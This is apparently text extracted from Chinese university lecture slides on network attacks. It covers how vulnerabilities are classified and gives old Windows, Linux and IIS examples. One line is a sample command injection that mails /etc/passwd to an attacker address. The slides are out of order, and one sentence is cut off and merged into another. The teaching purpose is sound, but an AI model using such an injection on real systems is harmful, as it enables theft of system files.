第04章 网络攻击

(2) 从本地获取管理员权限
攻击者在已有一个本地账号能够登录到系统的情况下，通过 攻击本地某些有缺陷的suid(设置用户权限命令)程序，竞争条件 等手段，得到系统的管理员权限。 典型漏洞： ● RedHat Linux的restore是个suid(设置用户权限命令)程序， 它的执行依靠RSH(远程执行命令)中的一个环境变量，通过设置 环境变量PATH，可以使RSH变量中的可执行程序以root身份运行， 从而获得系统的root权限。 ● 在windows2000下，攻击者就有机会让网络DDE(一种在不 同的Windows机器上的应用程序之间动态共享数据的技术)代理在 本地系统用户的安全上下文中执行其指定的代码，从而提升权限 并完全控制本地机器。
对于处于相同系统的漏洞又可分为： 出现在操作系统中的漏洞； 出现在应用软件中的漏洞； 出现在硬件中的漏洞； 出现在操作系统的漏洞可分为： 出现在协议栈中的漏洞； 出现在通讯协议中的漏洞； 出现在其它位置的漏洞。 出现在应用软件中的漏洞可分为： 服务器应用软件漏洞； 非服务器应用软件漏洞。
安全漏洞
1、操作系统漏洞统计

操作系统漏洞增长趋势
2、系统漏洞的分类（漏洞位置）
（1）设计错误类； （2）输入确认错误类； （3）边界条件错误类； （4）访问确认错误类； （5）缓冲区溢出错误类； （6）例外条件执行错误类； （7）环境错误类； （8）配置错误类； （9）其他类型
(11) Windos 9X漏洞
1) 直接连接到Windows 9x共享资源 这是最易侵入远程Windows 9x系统的通路。 Windows 9x提供三个直接访问远程系统的机制： 文件和打印共享、 可选的拨号服务器 远程注册表操纵
2) 绕开Windows 9x安全：重启！ 与Windows NT不一样，Windows 9x没有保证多用户安全 登录控制台的概念。 因此能接触目标Windows 9x系统的任何攻击者既可以给 它简单地上电，也可以使用硬手段重启并由屏幕保护程序锁 住的它。 Windows 95的早期版本甚至允许CTRL-ALT-DEL或ALTTAB等组合键让屏幕保护程序失效！随后自启过程中出现的 任何密码输入提示都是纯粹装点门面的。
（3）获取普通用户访问权限 攻击者利用服务器漏洞,取得系统中普通用户的存取权限 对UNIX类系统通常是shell访问权限 对Windows系统通常是cmd.exe的访问权限， 能够以一般用户的身份执行程序，存取文件。 攻击者通常攻击以非root身份运行的守护进程，有缺陷 的cgi（公共网关接口）程序等手段获得这种访问权限。
3）在Windows 2000远程服务器上的DOS操作系统的漏洞 以Windows 2000作为操作平台的服务器作为远程控制 台对远程访问进行控制。 一个远程的攻击者向该服务器发了一连串的攻击性代 码，使服务器工作出现故障。在此之后，如果系统通过 自动重启后继续工作，那么很多的攻击造成了远程服务 器不断的重新启动，直到重启的频度超出了系统的承受 能力，系统崩溃。
（8）远程非授权文件存取
利用这类漏洞，攻击可以不经授权地从远程存取系统的某些 文件。这类漏洞主要是由一些有缺陷的cgi程序引起的，它们对用 户输入没有做适当的合法性检查，使攻击者通过构造特别的输入 获得对文件存取。 典型漏洞： ● Windows IIS 5.0存在一个漏洞，通过向它发送一个特殊的 head标记，可以得到asp源码，而不是经过解释执行后asp页面。 ● Windows IE存在诸多漏洞允许恶意的web页面读取浏览用 户的本地的文件。
第04章 网络攻击
主讲人：李学明 单 位：重庆大学计算机学院
2013年1月
目录
4.1 4.2 4.3 4.4 4.5 系统脆弱性概述 网络攻击概述 系统侵入攻击 拒绝服务攻击 恶意代码
4.1 系统脆弱性概述
4.1.1、操作系统脆弱性 4.1.2、TCP/IP的脆弱性
4.1.1 操作系统的脆弱性
4.2 网络攻击概述
1、什么是攻击(attack、intrude)?
破坏计算机系统资源的完整性、机密性及可用性等的活 动集合。 攻击就是入侵、入侵就是攻击
2、攻击达到的目的
(1) 使系统无法正常运行 (2) 达到非法使用系统资源的目的 (3) 非法获取信息、资料
2）Telnet的拒绝服务攻击 Windows中的Telnet一直以来都是网络管理员们最 喜爱的网络实用工具之一，但是一个新的漏洞表明， 在Windows 2000中Telnet在守护其进程时，在已经被 初始化的会话还未被复位的情况下很容易受到一种普 通的拒绝服务攻击。 拒绝报务攻击几乎成为了所有大型网站的噩梦。
缓冲区溢出漏洞
环境错误漏洞
….
其他类型漏洞
导致系统 丧失安全保护
导致系统 丧失可用性
UNIX系统漏洞 Windows系统漏 洞
漏洞出现在 操作系统中
漏洞出现在 应用软件中
漏洞出现 在硬件中
应用软件中
硬件中
服务器应用软件 非 服 务 器 应 用 软 件 漏洞 漏洞
漏洞分类结构示意图
3、常见漏洞
（1）利用远程获取管理员权限 攻击者无须一个账号登录到本地直接获得远程系统的管理员权限， 通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞 的绝大部分来源于缓冲区溢出，少部分来自守护进程本身的逻辑缺陷 典型漏洞： WindowsNT IIS 4.0的ISAPIDLL(Internet服务器应用编程接口动 态链接库)对输入的URL未做适当的边界检查，如果构造一个超长的 URL，可以溢出IIS (inetinfo.exe)的缓冲区，执行我们指定的代码。由 于inetinfo.exe(提供系统管理信息的文件)是以local system(本地系统) 身份启动，溢出后可以直接得到管理员权限。
按危害的分类
（1）使系统丧失安全保护的漏洞； （2）使系统丧失保密性的漏洞； （3）使系统丧失完整性的漏洞； （4）使系统丧失可用性的漏洞； （5）其他类型。
按操作系统来分
UNIX/Linux系统漏洞； Windows 95/98 漏洞； Windows NT/2000漏洞； Apple系统漏洞； 其他系统漏洞。
(10) 服务器信息泄露
利用这类漏洞，攻击者可以收集到对于进一步攻击系统有用的信息。 漏洞产生主要是因为系统程序有缺陷，一般是对错误的不正确处理。
典型漏洞： ● Windows IIS 3.0-5.0 存 在 漏 洞 ， 当 向 系 统 请 求 不 存 在 的.idq(Internet 数据查询脚本文件)，.ida文件(管理员脚本文件)时，机 器可能会返回出错信息，里面暴露了IIS的安装目录信息，比如请求 /anything.ida ， 服 务 器 会 返 回 Response: The IDQ file d:\http\anything.ida could not be found。这些对攻击者 进行攻击可能带来方便，比如广泛流行的msadc目录的攻击，需要知 道系统的安装目录。 ● Linux kernel 2.1.53以下的tcp/ip堆栈开放和关闭的端口对特定的 数据包有特定的回应，攻击者可以利用这个特性进行端口的秘密扫描
（6）远程拒绝服务
攻击者利用这类漏洞，无须登录即可对系统发起拒绝服务攻击，使 系统或相关的应用程序崩溃或失去响应能力。这类漏洞通常是系统本身 或其守护进程有缺陷或设置不正确造成的。 典型漏洞 ● 早期的Linux 和 BSD(一类建立在代码共享基础上的操作系统)的 tcp/ip堆栈的ip 片断重组模块存在缺陷，攻击通过向系统发出特殊的ip 片断包可以使机器崩溃。 ● Windows2000带的Netmeeting 3.01(网络会议程序)存在缺陷， 通过向它发送二进制数据流，可以使服务器的CPU占用达到100%。
（4）权限提升 攻击者在本地通过攻击某些有缺陷的sgid(设置有效的用 户缺省组ID)程序，把自己的权限提升到某个非root用户的 水平。获得管理员权限可以看做是一种特殊的权限提升。 漏洞举例： ● Solaris 7的write程序为sgid tty，它存在缓冲区溢出 问题，通过对它的攻击可使攻击者得到t攻击者登录到系统后，利用这类漏洞，可以使系统本身或 应用程序崩溃。这种漏洞主要因为是程序对意外情况的处理失误， 如写临时文件之前不检查文件是否存在，盲目跟随链接等。 典型漏洞： ● BSD 3.x存在漏洞可以使一个本地用户用一些垃圾覆盖系统上 的任何文件，这样会很容易地把系统设置为不可用。 ● RedHat 6.1的tcpwatch（tcp连接监控程序）程序存在缺陷， 可以使系统fork()（子进度调用函数）调用许多进程，从而使系统 失去响应能力。
（5）读取受限文件
攻击者通过利用某些漏洞，读取系统中他应该没有权限的文件，这 些文件通常是安全相关的。这些漏洞的存在可能是文件设置权限不正 确，或者是特权进程对文件的不正确处理和意外dump core(内核崩溃) 使受限文件的一部份dump到了core文件中。 典型漏洞： ● SunOS 5.5的文件传输后台程序(ftpd)存在漏洞，一般用户可以 引起ftpd出错而dump出一个全局可读的core文件，里面有shadow(隐 藏)文件的片断，从而使一般用户能读到shadow的部分内容。 ● Oracle 8.0.3 Enterprise Edition for NT 4.0(Oracle 8.0.3 NT 4.0 企业版)的日志文件全局可读而且为明文，它记录了连接的口令，很可 能被攻击者读到。
典型漏洞： ● UBB(动态数据交换)是个广泛运行于各种UNIX和Windows系统 的论坛程序，用PERL(一种解释型的高级语言)实现，它的5.19以下版 本存在输入验证问题，通过提交精心构造的表单内容，可以使 UBB( 动 态 数 据 交 换 ) 去 执 行 shell 命 令 ， 因 为 一 般 的 web 服 务 器 以 nobody（匿名）身份运行，因此可以得到一个nobody shell。比如提 交 这 样 的 数 据 ： topic=„012345.ubb|mail hacker@ </etc/passwd|‟，就可以得到系统的passwd（口令管理）文件。 ● RedHat Linux 6.2带的新闻服务器（innd 2.2.2.3版），存在缓 冲区溢出漏洞，通过一个精心构造的新闻信件可以使服务器后台程序 innd以news身份运行我们指定的代码，得到一个innd权限的shell。